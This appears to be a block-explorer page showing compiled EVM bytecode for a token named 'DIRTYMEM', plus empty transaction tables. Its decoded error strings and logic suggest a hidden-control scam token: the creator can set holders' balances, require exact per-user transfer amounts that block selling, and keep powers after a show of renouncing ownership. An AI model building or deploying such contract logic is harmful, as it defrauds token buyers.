565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461079b9190611a5b565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516107ff91906113ad565b60405180910390a360019150509392505050565b61081b6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610839610900565b73ffffffffffffffffffffffffffffffffffffffff161461088f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088690611b35565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b601281565b6012600a6108ef91906118aa565b620186a06108fd91906118f5565b81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6109316111c6565b73ffffffffffffffffffffffffffffffffffffffff1661094f610d80565b73ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099c90611bc7565b60405180910390fd5b60008110156109e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e090611c59565b60405180910390fd5b60005b8251811015610b70576000838281518110610a0a57610a09611c79565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a90611d1a565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f442151da4f589f7e51fac5b4f285a5e8fc8e105067689027ef065e1e922e19358286604051610b53929190611d3a565b60405180910390a250508080610b6890611d63565b9150506109ec565b505050565b610b7d6111c6565b73ffffffffffffffffffffffffffffffffffffffff16610b9b610900565b73ffffffffffffffffffffffffffffffffffffffff1614610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611b35565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0384899bd253d83b23daa4d29aaa2efe0563d1132b43101e9ad667235aeb951b60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606040518060400160405280600881526020017f44495254594d454d000000000000000000000000000000000000000000000000815250905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008160026000610db96111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c90611e1d565b60405180910390fd5b6000610e47610e426111c6565b610cb1565b90506000811115610e9557808314610e94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8b90611a3b565b60405180910390fd5b5b8260026000610ea26111c6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eeb9190611a5b565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f419190611a8f565b925050819055508373ffffffffffffffffffffffffffffffffffffffff16610f676111c6565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fac91906113ad565b60405180910390a3600191505092915050565b6040518060400160405280600881526020017f44495254594d454d00000000000000000000000000000000000000000000000081525081565b6040518060400160405280600881526020017f44495254594d454d00000000000000000000000000000000000000000000000081525081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110c06111c6565b73ffffffffffffffffffffffffffffffffffffffff166110de610d80565b73ffffffffffffffffffffffffffffffffffffffff1614611134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112b90611bc7565b60405180910390fd5b60005b838390508110156111c057816003600086868581811061115a57611159611c79565b5b905060200201602081019061116f919061141b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806111b890611d63565b915050611137565b50505050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156112085780820151818401526020810190506111ed565b60008484015250505050565b6000601f19601f8301169050919050565b6000611230826111ce565b61123a81856111d9565b935061124a8185602086016111ea565b61125381611214565b840191505092915050565b600060208201905081810360008301526112788184611225565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112bf82611294565b9050919050565b6112cf816112b4565b81146112da57600080fd5b50565b6000813590506112ec816112c6565b92915050565b6000819050919050565b611305816112f2565b811461131057600080fd5b50565b600081359050611322816112fc565b92915050565b6000806040838503121561133f5761133e61128a565b5b600061134d858286016112dd565b925050602061135e85828601611313565b9150509250929050565b60008115159050919050565b61137d81611368565b82525050565b60006020820190506113986000830184611374565b92915050565b6113a7816112f2565b82525050565b60006020820190506113c2600083018461139e565b92915050565b6000806000606084860312156113e1576113e061128a565b5b60006113ef868287016112dd565b9350506020611400868287016112dd565b925050604061141186828701611313565b9150509250925092565b6000602082840312156114315761143061128a565b5b600061143f848285016112dd565b91505092915050565b600060ff82169050919050565b61145e81611448565b82525050565b60006020820190506114796000830184611455565b92915050565b611488816112b4565b82525050565b60006020820190506114a3600083018461147f565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114e682611214565b810181811067ffffffffffffffff82111715611505576115046114ae565b5b80604052505050565b6000611518611280565b905061152482826114dd565b919050565b600067ffffffffffffffff821115611544576115436114ae565b5b602082029050602081019050919050565b600080fd5b600061156d61156884611529565b61150e565b905080838252602082019050602084028301858111156115905761158f611555565b5b835b818110156115b957806115a588826112dd565b845260208401935050602081019050611592565b5050509392505050565b600082601f8301126115d8576115d76114a9565b5b81356115e884826020860161155a565b91505092915050565b600080604083850312156116085761160761128a565b5b600083013567ffffffffffffffff8111156116265761162561128f565b5b611632858286016115c3565b925050602061164385828601611313565b9150509250929050565b600080604083850312156116645761166361128a565b5b6000611672858286016112dd565b9250506020611683858286016112dd565b9150509250929050565b600080fd5b60008083601f8401126116a8576116a76114a9565b5b8235905067ffffffffffffffff8111156116c5576116c461168d565b5b6020830191508360208202830111156116e1576116e0611555565b5b9250929050565b6000806000604084860312156117015761170061128a565b5b600084013567ffffffffffffffff81111561171f5761171e61128f565b5b61172b86828701611692565b9350935050602061173e86828701611313565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156117ce578086048111156117aa576117a9611748565b5b60018516156117b95780820291505b80810290506117c785611777565b945061178e565b94509492505050565b6000826117e757600190506118a3565b816117f557600090506118a3565b816001811461180b576002811461181557611844565b60019150506118a3565b60ff84111561182757611826611748565b5b8360020a91508482111561183e5761183d611748565b5b506118a3565b5060208310610133831016604e8410600b84101617156118795782820a90508381111561187457611873611748565b5b6118a3565b6118868484846001611784565b9250905081840481111561189d5761189c611748565b5b81810290505b9392505050565b60006118b5826112f2565b91506118c083611448565b92506118ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846117d7565b905092915050565b6000611900826112f2565b915061190b836112f2565b9250828202611919816112f2565b915082820484148315176119305761192f611748565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b60006119936025836111d9565b915061199e82611937565b604082019050919050565b600060208201905081810360008301526119c281611986565b9050919050565b7f54543a207472616e7366657220616d6f756e7420646f6573206e6f742065717560008201527f616c20746865206578616374207472616e7366657220616d6f756e7400000000602082015250565b6000611a25603c836111d9565b9150611a30826119c9565b604082019050919050565b60006020820190508181036000830152611a5481611a18565b9050919050565b6000611a66826112f2565b9150611a71836112f2565b9250828203905081811115611a8957611a88611748565b5b92915050565b6000611a9a826112f2565b9150611aa5836112f2565b9250828201905080821115611abd57611abc611748565b5b92915050565b7f596f75206d75737420626520746865206f776e657220746f20706572666f726d60008201527f207468697320616374696f6e0000000000000000000000000000000000000000602082015250565b6000611b1f602c836111d9565b9150611b2a82611ac3565b604082019050919050565b60006020820190508181036000830152611b4e81611b12565b9050919050565b7f596f75206d757374206265207468652063726561746f7220746f20706572666f60008201527f726d207468697320616374696f6e000000000000000000000000000000000000602082015250565b6000611bb1602e836111d9565b9150611bbc82611b55565b604082019050919050565b60006020820190508181036000830152611be081611ba4565b9050919050565b7f4465736972656420616d6f756e74206d757374206265206e6f6e2d6e6567617460008201527f6976650000000000000000000000000000000000000000000000000000000000602082015250565b6000611c436023836111d9565b9150611c4e82611be7565b604082019050919050565b60006020820190508181036000830152611c7281611c36565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f557365722061646472657373206d757374206e6f7420626520746865207a657260008201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b6000611d046029836111d9565b9150611d0f82611ca8565b604082019050919050565b60006020820190508181036000830152611d3381611cf7565b9050919050565b6000604082019050611d4f600083018561139e565b611d5c602083018461139e565b9392505050565b6000611d6e826112f2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611da057611d9f611748565b5b600182019050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611e076023836111d9565b9150611e1282611dab565b604082019050919050565b60006020820190508181036000830152611e3681611dfa565b905091905056fea264697066735822122086c1492b86fb44cfc6e4127dc0fc8d6cf57bbb53fde580a444bf7cdab70835d564736f6c63430008110033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.